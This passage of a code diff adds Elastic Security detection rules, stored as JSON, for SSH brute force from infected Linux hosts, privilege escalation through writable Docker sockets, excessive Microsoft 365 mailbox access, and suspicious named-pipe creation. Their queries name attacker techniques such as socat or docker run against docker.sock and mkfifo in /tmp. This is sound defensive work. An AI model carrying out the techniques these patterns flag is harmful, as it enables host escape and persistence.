Infrastructure Discovery", + "reference": "https://attack.mitre.org/techniques/T1580/" + } + ] + } + ], + "timestamp_override": "event.ingested", + "type": "esql", + "version": 4 + }, + "id": "74f45152-9aee-11ef-b0a5-f661ea17fbcd_4", + "type": "security-rule" +} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/77122db4-5876-4127-b91b-6c179eb21f88_7.json b/packages/security_detection_engine/kibana/security_rule/77122db4-5876-4127-b91b-6c179eb21f88_7.json new file mode 100644 index 00000000000..561c55fe9fe --- /dev/null +++ b/packages/security_detection_engine/kibana/security_rule/77122db4-5876-4127-b91b-6c179eb21f88_7.json @@ -0,0 +1,126 @@ +{ + "attributes": { + "author": [ + "Elastic" + ], + "description": "This detection identifies a Linux host that has potentially been infected with malware and is being used to conduct brute-force attacks against external systems over SSH (port 22 and common alternative SSH ports). The detection looks for a high volume of outbound connection attempts to non-private IP addresses from a single process. A compromised host may be part of a botnet or controlled by an attacker, attempting to gain unauthorized access to remote systems. This behavior is commonly observed in SSH brute-force campaigns where malware hijacks vulnerable machines to expand its attack surface. ESQL rules have limited fields available in its alert documents. Make sure to review the original documents to aid in the investigation of this alert.", + "from": "now-61m", + "interval": "1h", + "language": "esql", + "license": "Elastic License v2", + "name": "Potential Malware-Driven SSH Brute Force Attempt", + "note": " ## Triage and analysis\n\n> **Disclaimer**:\n> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.\n\n### Investigating Potential Malware-Driven SSH Brute Force Attempt\n\nSSH is a protocol used to securely access remote systems. Adversaries exploit it by deploying malware on compromised Linux hosts to perform brute-force attacks, attempting unauthorized access to other systems. The detection rule identifies such abuse by monitoring high volumes of outbound SSH connection attempts from a single process to external IPs, indicating potential malware activity.\n\n### Possible investigation steps\n\n- Review the process executable identified in the alert to determine if it is a legitimate application or potentially malicious. Check for known malware signatures or unusual file paths.\n- Analyze the destination IP addresses involved in the connection attempts to identify if they are known malicious hosts or part of a larger attack infrastructure. Use threat intelligence sources to gather more information.\n- Examine the host's recent activity logs to identify any unusual behavior or signs of compromise, such as unexpected process executions or changes in system configurations.\n- Investigate the specific agent.id associated with the alert to determine if other alerts or suspicious activities have been reported from the same host, indicating a broader compromise.\n- Check for any recent changes or updates to the host's software or configurations that could have introduced vulnerabilities exploited by the malware.\n- Assess the network traffic patterns from the host to identify any other unusual outbound connections that may indicate additional malicious activity or data exfiltration attempts.\n\n### False positive analysis\n\n- High-volume legitimate SSH operations from a single process can trigger alerts. Exclude known safe processes or scripts that perform frequent SSH operations by adding them to an exception list.\n- Automated backup or synchronization tools using SSH to connect to external servers may be misidentified. Identify these tools and exclude their process names or IP addresses from the detection rule.\n- Development or testing environments where SSH connections are frequently initiated to external systems for legitimate purposes can cause false positives. Document these environments and adjust the rule to exclude their specific IP ranges or process identifiers.\n- Security scanning tools that perform SSH checks on external systems might be flagged. Ensure these tools are recognized and their activities are excluded by specifying their process names or IP addresses in the rule exceptions.\n\n### Response and remediation\n\n- Isolate the affected Linux host from the network immediately to prevent further unauthorized access attempts and potential spread of malware to other systems.\n- Terminate the suspicious process identified by the detection rule to stop ongoing brute-force attempts and reduce the risk of further compromise.\n- Conduct a thorough malware scan on the isolated host using updated antivirus or endpoint detection and response (EDR) tools to identify and remove any malicious software.\n- Review and reset credentials for any accounts that may have been targeted or compromised during the brute-force attempts to ensure account security.\n- Apply security patches and updates to the affected host and any other vulnerable systems to mitigate known vulnerabilities that could be exploited by similar threats.\n- Monitor network traffic for any signs of continued or new suspicious activity, particularly focusing on outbound SSH connections, to detect and respond to any further attempts promptly.\n- Escalate the incident to the security operations center (SOC) or relevant security team for further investigation and to assess the potential impact on the broader network infrastructure.\n", + "query": "from logs-endpoint.events.network-*\n| keep @timestamp, host.os.type, event.type, event.action, destination.port, process.executable, destination.ip, agent.id, host.name\n| where\n @timestamp > now() - 1 hours and\n host.os.type == \"linux\" and\n event.type == \"start\" and\n event.action == \"connection_attempted\" and\n destination.port in (22, 222, 2222, 10022, 2022, 2200, 62612, 8022) and\n not (\n cidr_match(\n destination.ip,\n \"10.0.0.0/8\", \"127.0.0.0/8\", \"169.254.0.0/16\", \"172.16.0.0/12\",\n \"192.0.0.0/24\", \"192.0.0.0/29\", \"192.0.0.8/32\", \"192.0.0.9/32\",\n \"192.0.0.10/32\", \"192.0.0.170/32\", \"192.0.0.171/32\", \"192.0.2.0/24\",\n \"192.31.196.0/24\", \"192.52.193.0/24\", \"192.168.0.0/16\", \"192.88.99.0/24\",\n \"224.0.0.0/4\", \"100.64.0.0/10\", \"192.175.48.0/24\", \"198.18.0.0/15\",\n \"198.51.100.0/24\", \"203.0.113.0/24\", \"240.0.0.0/4\", \"::1\", \"FE80::/10\", \"FF00::/8\"\n ) or\n process.executable in (\n \"/usr/bin/rclone\", \"/usr/bin/sss_ssh_knownhostsproxy\", \"/usr/sbin/sshd\", \"/usr/bin/ssh\",\n \"/usr/local/bin/php\", \"/usr/sbin/apache2\", \"/usr/sbin/nginx\", \"/usr/local/bin/argocd-repo-server\"\n ) or\n process.executable like \"/usr/local/efax/*\"\n )\n| stats\n Esql.event_count = count(),\n Esql.agent_id_count_distinct = count_distinct(agent.id),\n Esql.host_name_values = values(host.name),\n Esql.agent_id_values = values(agent.id)\n by process.executable, destination.port\n| where\n Esql.agent_id_count_distinct == 1 and\n Esql.event_count > 15\n| sort Esql.event_count asc\n| limit 100\n", + "related_integrations": [ + { + "package": "endpoint", + "version": "^8.2.0" + } + ], + "required_fields": [ + { + "ecs": false, + "name": "Esql.agent_id_count_distinct", + "type": "long" + }, + { + "ecs": false, + "name": "Esql.agent_id_values", + "type": "keyword" + }, + { + "ecs": false, + "name": "Esql.event_count", + "type": "long" + }, + { + "ecs": false, + "name": "Esql.host_name_values", + "type": "keyword" + }, + { + "ecs": true, + "name": "destination.port", + "type": "long" + }, + { + "ecs": true, + "name": "process.executable", + "type": "keyword" + } + ], + "risk_score": 47, + "rule_id": "77122db4-5876-4127-b91b-6c179eb21f88", + "setup": "## Setup\n\nThis rule requires data coming in from Elastic Defend.\n\n### Elastic Defend Integration Setup\nElastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app.\n\n#### Prerequisite Requirements:\n- Fleet is required for Elastic Defend.\n- To configure Fleet Server refer to the [documentation](https://www.elastic.co/guide/en/fleet/current/fleet-server.html).\n\n#### The following steps should be executed in order to add the Elastic Defend integration on a Linux System:\n- Go to the Kibana home page and click \"Add integrations\".\n- In the query bar, search for \"Elastic Defend\" and select the integration to see more details about it.\n- Click \"Add Elastic Defend\".\n- Configure the integration name and optionally add a description.\n- Select the type of environment you want to protect, either \"Traditional Endpoints\" or \"Cloud Workloads\".\n- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. [Helper guide](https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html).\n- We suggest selecting \"Complete EDR (Endpoint Detection and Response)\" as a configuration setting, that provides \"All events; all preventions\"\n- Enter a name for the agent policy in \"New agent policy name\". If other agent policies already exist, you can click the \"Existing hosts\" tab and select an existing policy instead.\nFor more details on Elastic Agent configuration settings, refer to the [helper guide](https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html).\n- Click \"Save and Continue\".\n- To complete the integration, select \"Add Elastic Agent to your hosts\" and continue to the next section to install the Elastic Agent on your hosts.\nFor more details on Elastic Defend refer to the [helper guide](https://www.elastic.co/guide/en/security/current/install-endpoint.html).\n", + "severity": "medium", + "tags": [ + "Domain: Endpoint", + "OS: Linux", + "Use Case: Threat Detection", + "Tactic: Impact", + "Tactic: Execution", + "Tactic: Command and Control", + "Data Source: Elastic Defend", + "Resources: Investigation Guide" + ], + "threat": [ + { + "framework": "MITRE ATT&CK", + "tactic": { + "id": "TA0040", + "name": "Impact", + "reference": "https://attack.mitre.org/tactics/TA0040/" + }, + "technique": [ + { + "id": "T1496", + "name": "Resource Hijacking", + "reference": "https://attack.mitre.org/techniques/T1496/" + } + ] + }, + { + "framework": "MITRE ATT&CK", + "tactic": { + "id": "TA0002", + "name": "Execution", + "reference": "https://attack.mitre.org/tactics/TA0002/" + }, + "technique": [ + { + "id": "T1059", + "name": "Command and Scripting Interpreter", + "reference": "https://attack.mitre.org/techniques/T1059/", + "subtechnique": [ + { + "id": "T1059.004", + "name": "Unix Shell", + "reference": "https://attack.mitre.org/techniques/T1059/004/" + } + ] + } + ] + }, + { + "framework": "MITRE ATT&CK", + "tactic": { + "id": "TA0011", + "name": "Command and Control", + "reference": "https://attack.mitre.org/tactics/TA0011/" + }, + "technique": [ + { + "id": "T1071", + "name": "Application Layer Protocol", + "reference": "https://attack.mitre.org/techniques/T1071/" + } + ] + } + ], + "timestamp_override": "event.ingested", + "type": "esql", + "version": 7 + }, + "id": "77122db4-5876-4127-b91b-6c179eb21f88_7", + "type": "security-rule" +} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/7acb2de3-8465-472a-8d9c-ccd7b73d0ed8_10.json b/packages/security_detection_engine/kibana/security_rule/7acb2de3-8465-472a-8d9c-ccd7b73d0ed8_10.json new file mode 100644 index 00000000000..7d7962afaec --- /dev/null +++ b/packages/security_detection_engine/kibana/security_rule/7acb2de3-8465-472a-8d9c-ccd7b73d0ed8_10.json @@ -0,0 +1,104 @@ +{ + "attributes": { + "author": [ + "Elastic" + ], + "description": "This rule monitors for the usage of Docker runtime sockets to escalate privileges on Linux systems. Docker sockets by default are only be writable by the root user and docker group. Attackers that have permissions to write to these sockets may be able to create and run a container that allows them to escalate privileges and gain further access onto the host file system.", + "from": "now-9m", + "index": [ + "logs-endpoint.events.process*", + "logs-crowdstrike.fdr*" + ], + "language": "eql", + "license": "Elastic License v2", + "name": "Potential Privilege Escalation through Writable Docker Socket", + "note": "## Triage and analysis\n\n> **Disclaimer**:\n> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.\n\n### Investigating Potential Privilege Escalation through Writable Docker Socket\n\nDocker sockets facilitate communication between the Docker client and daemon, typically restricted to root or specific groups. Adversaries with write access can exploit these sockets to execute containers with elevated privileges, potentially accessing the host system. The detection rule identifies suspicious activities by monitoring processes like Docker and Socat for unauthorized socket interactions, focusing on non-root users attempting to execute commands, thus flagging potential privilege escalation attempts.\n\n### Possible investigation steps\n\n- Review the alert details to identify the specific process name (either \"docker\" or \"socat\") and the associated arguments that triggered the alert, focusing on the use of \"unix://*/docker.sock\" or \"unix://*/dockershim.sock\".\n- Check the user and group IDs associated with the process to confirm they are non-root, as indicated by the exclusion of user.Ext.real.id and group.Ext.real.id being \"0\".\n- Investigate the user account involved in the alert to determine if they should have access to Docker sockets and whether their permissions have been misconfigured or compromised.\n- Examine the system logs and Docker daemon logs for any additional context or anomalies around the time of the alert to identify any unauthorized or suspicious activities.\n- Assess the current state of the system for any unauthorized containers that may have been started, and inspect their configurations and running processes for signs of privilege escalation attempts.\n- Verify the integrity and permissions of the Docker socket files to ensure they have not been altered to allow unauthorized access.\n\n### False positive analysis\n\n- Legitimate administrative tasks by non-root users with elevated permissions can trigger the rule. To manage this, identify trusted users or groups who regularly perform such tasks and create exceptions for their activities.\n- Automated scripts or services that require Docker socket access for legitimate operations may be flagged. Review these scripts or services and whitelist their specific process names or arguments to prevent false positives.\n- Development environments where developers frequently use Docker for testing might cause alerts. Consider creating a separate monitoring policy for development environments or exclude known development user accounts from this rule.\n- Continuous integration/continuous deployment (CI/CD) pipelines that interact with Docker sockets can be mistakenly identified as threats. Ensure that these pipelines are running under specific service accounts and exclude these accounts from the rule.\n\n### Response and remediation\n\n- Immediately isolate the affected host from the network to prevent further unauthorized access or lateral movement.\n- Terminate any unauthorized Docker containers that were started by non-root users, especially those interacting with Docker sockets.\n- Review and revoke any unnecessary write permissions to Docker sockets for non-root users and groups, ensuring only trusted users have access.\n- Conduct a thorough audit of user accounts and group memberships on the affected system to identify and remove any unauthorized or suspicious accounts.\n- Restore the system from a known good backup if unauthorized changes or access to sensitive data are detected.\n- Implement monitoring and alerting for any future unauthorized access attempts to Docker sockets, focusing on non-root user activities.\n- Escalate the incident to the security operations team for further investigation and to assess potential impacts on other systems within the network.", + "query": "process where host.os.type == \"linux\" and event.type == \"start\" and event.action in (\"exec\", \"ProcessRollup2\") and\n(\n (process.name == \"docker\" and process.args : \"run\" and process.args : \"-it\" and\n process.args : (\"unix://*/docker.sock\", \"unix://*/dockershim.sock\")) or\n (process.name == \"socat\" and process.args : (\"UNIX-CONNECT:*/docker.sock\", \"UNIX-CONNECT:*/dockershim.sock\"))\n) and not user.Ext.real.id : \"0\" and not group.Ext.real.id : \"0\"\n", + "references": [ + "https://book.hacktricks.xyz/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation#automatic-enumeration-and-escape" + ], + "related_integrations": [ + { + "package": "endpoint", + "version": "^8.2.0" + }, + { + "package": "crowdstrike", + "version": "^2.0.0" + } + ], + "required_fields": [ + { + "ecs": true, + "name": "event.action", + "type": "keyword" + }, + { + "ecs": true, + "name": "event.type", + "type": "keyword" + }, + { + "ecs": false, + "name": "group.Ext.real.id", + "type": "unknown" + }, + { + "ecs": true, + "name": "host.os.type", + "type": "keyword" + }, + { + "ecs": true, + "name": "process.args", + "type": "keyword" + }, + { + "ecs": true, + "name": "process.name", + "type": "keyword" + }, + { + "ecs": false, + "name": "user.Ext.real.id", + "type": "unknown" + } + ], + "risk_score": 47, + "rule_id": "7acb2de3-8465-472a-8d9c-ccd7b73d0ed8", + "setup": "## Setup\n\nThis rule requires data coming in from Elastic Defend.\n\n### Elastic Defend Integration Setup\nElastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app.\n\n#### Prerequisite Requirements:\n- Fleet is required for Elastic Defend.\n- To configure Fleet Server refer to the [documentation](https://www.elastic.co/guide/en/fleet/current/fleet-server.html).\n\n#### The following steps should be executed in order to add the Elastic Defend integration on a Linux System:\n- Go to the Kibana home page and click \"Add integrations\".\n- In the query bar, search for \"Elastic Defend\" and select the integration to see more details about it.\n- Click \"Add Elastic Defend\".\n- Configure the integration name and optionally add a description.\n- Select the type of environment you want to protect, either \"Traditional Endpoints\" or \"Cloud Workloads\".\n- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. [Helper guide](https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html).\n- We suggest selecting \"Complete EDR (Endpoint Detection and Response)\" as a configuration setting, that provides \"All events; all preventions\"\n- Enter a name for the agent policy in \"New agent policy name\". If other agent policies already exist, you can click the \"Existing hosts\" tab and select an existing policy instead.\nFor more details on Elastic Agent configuration settings, refer to the [helper guide](https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html).\n- Click \"Save and Continue\".\n- To complete the integration, select \"Add Elastic Agent to your hosts\" and continue to the next section to install the Elastic Agent on your hosts.\nFor more details on Elastic Defend refer to the [helper guide](https://www.elastic.co/guide/en/security/current/install-endpoint.html).\n", + "severity": "medium", + "tags": [ + "Domain: Endpoint", + "OS: Linux", + "Use Case: Threat Detection", + "Tactic: Privilege Escalation", + "Domain: Container", + "Data Source: Elastic Defend", + "Resources: Investigation Guide", + "Data Source: Crowdstrike" + ], + "threat": [ + { + "framework": "MITRE ATT&CK", + "tactic": { + "id": "TA0004", + "name": "Privilege Escalation", + "reference": "https://attack.mitre.org/tactics/TA0004/" + }, + "technique": [ + { + "id": "T1611", + "name": "Escape to Host", + "reference": "https://attack.mitre.org/techniques/T1611/" + } + ] + } + ], + "timestamp_override": "event.ingested", + "type": "eql", + "version": 10 + }, + "id": "7acb2de3-8465-472a-8d9c-ccd7b73d0ed8_10", + "type": "security-rule" +} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/7fc95782-4bd1-11f0-9838-f661ea17fbcd_2.json b/packages/security_detection_engine/kibana/security_rule/7fc95782-4bd1-11f0-9838-f661ea17fbcd_2.json new file mode 100644 index 00000000000..ea64b35b1aa --- /dev/null +++ b/packages/security_detection_engine/kibana/security_rule/7fc95782-4bd1-11f0-9838-f661ea17fbcd_2.json @@ -0,0 +1,146 @@ +{ + "attributes": { + "author": [ + "Elastic" + ], + "description": "Identifies an excessive number of Microsoft 365 mailbox items accessed by a user either via aggregated counts or throttling. Microsoft audits mailbox access via the MailItemsAccessed event, which is triggered when a user accesses mailbox items. If more than 1000 mailbox items are accessed within a 24-hour period, it is then throttled. Excessive mailbox access may indicate an adversary attempting to exfiltrate sensitive information or perform reconnaissance on a target's mailbox. This rule detects both the throttled and unthrottled events with a high threshold.", + "false_positives": [ + "Legitimate users may access a large number of mailbox items in a short period, especially in environments with high email volume or during data migrations. If this is expected behavior, consider adjusting the rule or adding exceptions for specific users or groups." + ], + "from": "now-9m", + "index": [ + "filebeat-*", + "logs-o365.audit-*" + ], + "investigation_fields": { + "field_names": [ + "user.id", + "user.name", + "user.email", + "user.domain", + "event.id", + "event.action", + "event.outcome", + "event.provider", + "source.ip", + "related.ip", + "related.user", + "o365.audit.ClientAppId", + "o365.audit.AppId", + "o365.audit.AppAccessContext.UniqueTokenId", + "o365.audit.OperationCount", + "o365.audit.MailboxOwnerUPN", + "o365.audit.MailboxOwnerSid", + "o365.audit.MailboxGuid", + "o365.audit.UserKey", + "o365.audit.LogonUserSid", + "o365.audit.TokenTenantId", + "o365.audit.OriginatingServer", + "o365.audit.ClientInfoString", + "o365.audit.CreationTime", + "o365.audit.ResultStatus", + "source.geo.country_iso_code", + "source.geo.country_name", + "source.geo.continent_name", + "source.geo.location", + "cloud.account.id", + "cloud.provider", + "cloud.region", + "cloud.service.name" + ] + }, + "language": "kuery", + "license": "Elastic License v2", + "name": "Excessive Microsoft 365 Mailbox Items Accessed", + "note": "## Triage and analysis\n\n### Investigating Excessive Microsoft 365 Mailbox Items Accessed\n\nIdentifies an excessive number of Microsoft 365 mailbox items accessed by a user either via aggregated counts or throttling. Microsoft audits mailbox access via the MailItemsAccessed event, which is triggered when a user accesses mailbox items. If more than 1000 mailbox items are accessed within a 24-hour period, it is then throttled. Excessive mailbox access may indicate an adversary attempting to exfiltrate sensitive information or perform reconnaissance on a target's mailbox. This rule detects both the throttled and unthrottled events with a high threshold.\n\n### Possible investigation steps\n- Review `host.name` to identify the tenant where the mailbox access occurred.\n- Review `o365.audit.UserId` or `o365.audit.MailboxOwnerUPN` to identify the user associated with the mailbox access.\n- Examine `o365.audit.ExternalAccess` to determine if the mailbox access was performed by an external user or application.\n- Check the geolocation data to identify the location from which the mailbox access occurred. Is this an expected location for the user?\n- Check `o365.audit.ClientAppId` to identify the application used for mailbox access. Look for any unusual or unexpected applications but be aware that some legitimate applications may also trigger this rule if OAuth phishing was used.\n- Review `o365.audit.Folders.Path` and `o365.audit.Folders.FolderItems.Id` to identify the specific folders and items accessed within the mailbox. Look for any sensitive or high-value folders that may indicate targeted access.\n- For specific items accessed, examine `o365.audit.Folders.FolderItems.Id` to gather more context on the accessed mailbox items.\n- User types can be identified by checking `o365.audit.UserType`. Review if the mailbox of the user is a member, admin or delegate.\n- If Entra ID logs are available, checking the risk status via `azure.signinlogs.properties.risk_state` and `azure.signinlogs.properties.risk_level` can provide additional context on the user's risk status during the mailbox access.\n\n### False positive analysis\n- Legitimate users may access a large number of mailbox items in a short period, especially in environments with high email volume or during data migrations. If this is expected behavior, consider adjusting the rule or adding exceptions for specific users or groups.\n- Automated processes or scripts that access mailbox items may also trigger this rule. If these processes are legitimate and necessary, consider adding exceptions for the specific applications or users involved.\n- Users with high email activity, such as helpdesk or support roles, may trigger this rule due to their job responsibilities. If this is expected behavior, consider adjusting the rule or adding exceptions for specific users or groups.\n\n### Response and remediation\n- Investigate the user account associated with the excessive mailbox access to determine if it has been compromised or if the activity is expected behavior.\n- If the mailbox access is confirmed to be suspicious or unauthorized, take immediate action to revoke the access token and prevent further access.\n- Disable the user account temporarily to prevent any potential compromise or unauthorized access.\n- Review the user's recent sign-in activity and access patterns to identify any potential compromise or unauthorized access.\n- If the user account is compromised, initiate a password reset and enforce multi-factor authentication (MFA) for the user.\n- Review the conditional access policies in place to ensure they are sufficient to prevent unauthorized access to sensitive resources.\n- Examine how the mailbox access was performed. If it was done via a third-party application, review the permissions granted to that application and consider revoking them if they are not necessary.\n", + "query": "event.dataset: \"o365.audit\" and\n event.provider: \"Exchange\" and\n event.action: \"MailItemsAccessed\" and\n event.code: \"ExchangeItemAggregated\" and\n (\n (\n o365.audit.OperationProperties.Name: \"IsThrottled\" and\n o365.audit.OperationProperties.Value: \"True\"\n ) or o365.audit.OperationCount >= 100\n )\n", + "references": [ + "https://learn.microsoft.com/en-us/purview/audit-log-investigate-accounts#use-mailitemsaccessed-audit-records-for-forensic-investigations", + "https://www.microsoft.com/en-us/security/blog/2025/05/27/new-russia-affiliated-actor-void-blizzard-targets-critical-sectors-for-espionage/" + ], + "related_integrations": [ + { + "package": "o365", + "version": "^2.0.0" + } + ], + "required_fields": [ + { + "ecs": true, + "name": "event.action", + "type": "keyword" + }, + { + "ecs": true, + "name": "event.code", + "type": "keyword" + }, + { + "ecs": true, + "name": "event.dataset", + "type": "keyword" + }, + { + "ecs": true, + "name": "event.provider", + "type": "keyword" + }, + { + "ecs": false, + "name": "o365.audit.OperationCount", + "type": "integer" + }, + { + "ecs": false, + "name": "o365.audit.OperationProperties.Name", + "type": "unknown" + }, + { + "ecs": false, + "name": "o365.audit.OperationProperties.Value", + "type": "unknown" + } + ], + "risk_score": 47, + "rule_id": "7fc95782-4bd1-11f0-9838-f661ea17fbcd", + "severity": "medium", + "tags": [ + "Domain: Cloud", + "Domain: Email", + "Data Source: Microsoft 365", + "Data Source: Microsoft 365 Audit Logs", + "Use Case: Threat Detection", + "Tactic: Collection", + "Resources: Investigation Guide" + ], + "threat": [ + { + "framework": "MITRE ATT&CK", + "tactic": { + "id": "TA0009", + "name": "Collection", + "reference": "https://attack.mitre.org/tactics/TA0009/" + }, + "technique": [ + { + "id": "T1114", + "name": "Email Collection", + "reference": "https://attack.mitre.org/techniques/T1114/", + "subtechnique": [ + { + "id": "T1114.002", + "name": "Remote Email Collection", + "reference": "https://attack.mitre.org/techniques/T1114/002/" + } + ] + } + ] + } + ], + "timestamp_override": "event.ingested", + "type": "query", + "version": 2 + }, + "id": "7fc95782-4bd1-11f0-9838-f661ea17fbcd_2", + "type": "security-rule" +} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/8167c5ae-3310-439a-8a58-be60f55023d2_3.json b/packages/security_detection_engine/kibana/security_rule/8167c5ae-3310-439a-8a58-be60f55023d2_3.json new file mode 100644 index 00000000000..ed3312f2200 --- /dev/null +++ b/packages/security_detection_engine/kibana/security_rule/8167c5ae-3310-439a-8a58-be60f55023d2_3.json @@ -0,0 +1,128 @@ +{ + "attributes": { + "author": [ + "Elastic" + ], + "description": "This rule detects the creation of unusually labeled named pipes (FIFOs) by the mkfifo command, which is often used by attackers to establish persistence on a target system or to execute commands in the background. Through the new_terms rule type, this rule can identify uncommon process command lines that may indicate the presence of a malicious named pipe.", + "from": "now-9m", + "history_window_start": "now-10d", + "index": [ + "logs-endpoint.events.process*", + "logs-crowdstrike.fdr*" + ], + "language": "kuery", + "license": "Elastic License v2", + "name": "Suspicious Named Pipe Creation", + "new_terms_fields": [ + "host.id", + "process.command_line" + ], + "note": " ## Triage and analysis\n\n> **Disclaimer**:\n> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.\n\n### Investigating Suspicious Named Pipe Creation\n\nNamed pipes, or FIFOs, are a form of inter-process communication in Linux environments, allowing data transfer between processes. Adversaries exploit this by creating named pipes in common directories like /tmp to stealthily execute commands or maintain persistence. The detection rule identifies unusual named pipe creation by monitoring the `mkfifo` command, especially when initiated by common shell processes, to flag potential malicious activity.\n\n### Possible investigation steps\n\n- Review the process command line arguments to identify the exact named pipe path and any associated commands or scripts that might have been executed using the named pipe.\n- Investigate the parent process (bash, csh, dash, fish, ksh, sh, tcsh, or zsh) to determine the origin of the mkfifo command, checking for any unusual or unexpected scripts or commands that might have initiated it.\n- Examine the user account associated with the mkfifo process to determine if it is a legitimate user or if the account might have been compromised.\n- Check for any other suspicious activities or processes running under the same user account or originating from the same parent process to identify potential lateral movement or further malicious actions.\n- Analyze the system logs around the time of the named pipe creation for any other indicators of compromise, such as unauthorized access attempts or unusual network connections.\n- If possible, capture and review the contents of the named pipe to understand the data being transferred and assess whether it is part of a malicious operation.\n\n### False positive analysis\n\n- Named pipes created by legitimate applications for inter-process communication can trigger this rule. Users should identify and whitelist these applications by adding exceptions for specific process command lines that are known to be safe.\n- System maintenance scripts or backup processes that use named pipes in directories like /tmp or /var/tmp may cause false positives. Review these scripts and exclude them from the rule if they are verified as non-malicious.\n- Development environments or testing frameworks that frequently create and delete named pipes during their operations might be flagged. Users can mitigate this by excluding these environments from monitoring or by specifying exceptions for known development tools.\n- Automated deployment tools that use named pipes for configuration management or orchestration tasks can also be a source of false positives. Ensure these tools are recognized and excluded from the rule to prevent unnecessary alerts.\n\n### Response and remediation\n\n- Immediately isolate the affected system from the network to prevent further malicious activity or lateral movement.\n- Terminate any suspicious processes associated with the mkfifo command, especially those originating from common shell processes like bash or sh.\n- Delete any named pipes created in directories such as /tmp, /dev/shm, or /var/tmp that do not follow expected naming conventions or are not part of legitimate applications.\n- Conduct a thorough review of user accounts and permissions on the affected system to identify any unauthorized access or privilege escalation.\n- Restore the system from a known good backup if any unauthorized changes or persistence mechanisms are detected.\n- Implement additional monitoring on the affected system and network to detect any further attempts to create suspicious named pipes or execute unauthorized commands.\n- Escalate the incident to the security operations team for further investigation and to determine if the threat is part of a larger attack campaign.\n", + "query": "host.os.type:linux and event.category:process and event.type:start and event.action:(exec or ProcessRollup2) and process.name:mkfifo and\nprocess.parent.name:(bash or csh or dash or fish or ksh or sh or tcsh or zsh) and\nprocess.args:((/dev/shm/* or /tmp/* or /var/tmp/*) and not /*fifo*)\n", + "related_integrations": [ + { + "package": "endpoint", + "version": "^8.2.0" + }, + { + "package": "crowdstrike", + "version": "^2.0.0" + } + ], + "required_fields": [ + { + "ecs": true, + "name": "event.action", + "type": "keyword" + }, + { + "ecs": true, + "name": "event.category", + "type": "keyword" + }, + { + "ecs": true, + "name": "event.type", + "type": "keyword" + }, + { + "ecs": true, + "name": "host.os.type", + "type": "keyword" + }, + { + "ecs": true, + "name": "process.args", + "type": "keyword" + }, + { + "ecs": true, + "name": "process.name", + "type": "keyword" + }, + { + "ecs": true, + "name": "process.parent.name", + "type": "keyword" + } + ], + "risk_score": 21, + "rule_id": "8167c5ae-3310-439a-8a58-be60f55023d2", + "setup": "## Setup\n\nThis rule requires data coming in from Elastic Defend.\n\n### Elastic Defend Integration Setup\nElastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app.\n\n#### Prerequisite Requirements:\n- Fleet is required for Elastic Defend.\n- To configure Fleet Server refer to the [documentation](https://www.elastic.co/guide/en/fleet/current/fleet-server.html).\n\n#### The following steps should be executed in order to add the Elastic Defend integration on a Linux System:\n- Go to the Kibana home page and click \"Add integrations\".\n- In the query bar, search for \"Elastic Defend\" and select the integration to see more details about it.\n- Click \"Add Elastic Defend\".\n- Configure the integration name and optionally add a description.\n- Select the type of environment you want to protect, either \"Traditional Endpoints\" or \"Cloud Workloads\".\n- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. [Helper guide](https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html).\n- We suggest selecting \"Complete EDR (Endpoint Detection and Response)\" as a configuration setting, that provides \"All events; all preventions\"\n- Enter a name for the agent policy in \"New agent policy name\". If other agent policies already exist, you can click the \"Existing hosts\" tab and select an existing policy instead.\nFor more details on Elastic Agent configuration settings, refer to the [helper guide](https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html).\n- Click \"Save and Continue\".\n- To complete the integration, select \"Add Elastic Agent to your hosts\" and continue to the next section to install the Elastic Agent on your hosts.\nFor more details on Elastic Defend refer to the [helper guide](https://www.elastic.co/guide/en/security/current/install-endpoint.html).\n", + "severity": "low", + "tags": [ + "Domain: Endpoint", + "OS: Linux", + "Use Case: Threat Detection", + "Tactic: Execution", + "Tactic: Command and Control", + "Data Source: Elastic Defend", + "Resources: Investigation Guide", + "Data Source: Crowdstrike" + ], + "threat": [ + { + "framework": "MITRE ATT&CK", + "tactic": { + "id": "TA0002", + "name": "Execution", + "reference": "https://attack.mitre.org/tactics/TA0002/" + }, + "technique": [ + { + "id": "T1059", + "name": "Command and Scripting Interpreter", + "reference": "https://attack.mitre.org/techniques/T1059/", + "subtechnique": [ + { + "id": "T1059.004", + "name": "Unix Shell", + "reference": "https://attack.mitre.org/techniques/T1059/004/" + } + ] + } + ] + }, + { + "framework": "MITRE ATT&CK", + "tactic": { + "id": "TA0011", + "name": "Command and Control", + "reference": "https://attack.mitre.org/tactics/TA0011/" + }, + "technique": [ + { + "id": "T1071", + "name": "Application Layer Protocol", + "reference": "https://attack.mitre.org/techniques/T1071/" + } + ] + } + ], + "timestamp_override": "event.ingested", + "type": "new_terms", + "version": 3 + }, + "id": "8167c5ae-3310-439a-8a58-be60f55023d2_3", + "type": "security-rule" +} \ No newline at end of file diff --git 